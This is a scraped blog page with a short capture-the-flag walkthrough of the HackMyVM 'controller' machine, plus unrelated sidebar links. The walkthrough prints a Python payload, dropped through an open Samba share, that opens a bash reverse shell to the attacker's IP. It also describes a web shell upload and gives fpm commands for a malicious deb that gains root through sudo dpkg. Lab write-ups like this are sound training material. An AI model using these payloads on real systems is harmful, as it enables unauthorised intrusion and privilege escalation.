当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get first reverse shell

visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/ we get hint.

use enum4linux to get samba shares, the we get the directory tester which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')

2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php.

because of thedisable_functions, you can not use terminal directly. you can use php7_userfilter to bypass. But in there, you do not need to do this.
check the file which own to user webservices.
we find the /opt/logs/log.txt will be changed by /opt/website.py at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l, we find the dpkg -i[1]. make a particular deb by using fpm, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
- Advanced Operations on Arrays
- PHP基金会三月新闻公告发布
- [mikehaertl/php-shellcommand] A library for invoking external command operations
- 12. What is JS
- 轮播图详解(完整代码在最后)
- 17.JS条件语句和循环,以及数据类型转换
- [symfony/mailer] An elegant and easy-to-use mail library
- 3. PHP data types, constants, strings and operators
- PHP 发起支付宝支付时 订单信息乱码解决
- 解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
猜你喜欢
![[league/climate] A robust command-line function manipulation library](/img/ce/39114b1c74af649223db97e5b0e29c.png)
[league/climate] A robust command-line function manipulation library
![微信小程序开发视频加载:[渲染层网络层错误] Failed to load media](/img/24/e12a1312aee28a43428b2ae0bfbe00.png)
微信小程序开发视频加载:[渲染层网络层错误] Failed to load media

(1) introduction to Thinkphp6, installation view, template rendering, variable assignment
![[sebastian/diff]一个比较两段文本的历史变化扩展库](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff]一个比较两段文本的历史变化扩展库

Pycharm打包项目为exe文件

13. JS output content and syntax

4. The form with the input

Alfa: 1 vulnhub walkthrough

hackmyvm: may walkthrough

MySql高级 -- 约束
随机推荐
解决uni-app 打包H5网站 下载图片问题
hackmyvm: juggling walkthrough
Batch replace file fonts, Simplified -> Traditional
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
[league/climate] A robust command-line function manipulation library
逍遥多开模拟器ADB驱动连接
(2)Thinkphp6模板引擎**标签
[symfony/mailer]一个优雅易用的发送邮件类库
[mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
(3) Thinkphp6 database
What will be new in PHP8.2?
hackmyvm-random walkthrough
1.初识PHP
Function hoisting and variable hoisting
[trendsoft/capital]金额转中文大写库
IO stream, encoding table, character stream, character buffer stream
hackmyvm-bunny walkthrough
What are the killer super powerful frameworks or libraries or applications for PHP?
GreenOptic: 1 vulnhub walkthrough
PHP image compression to specified size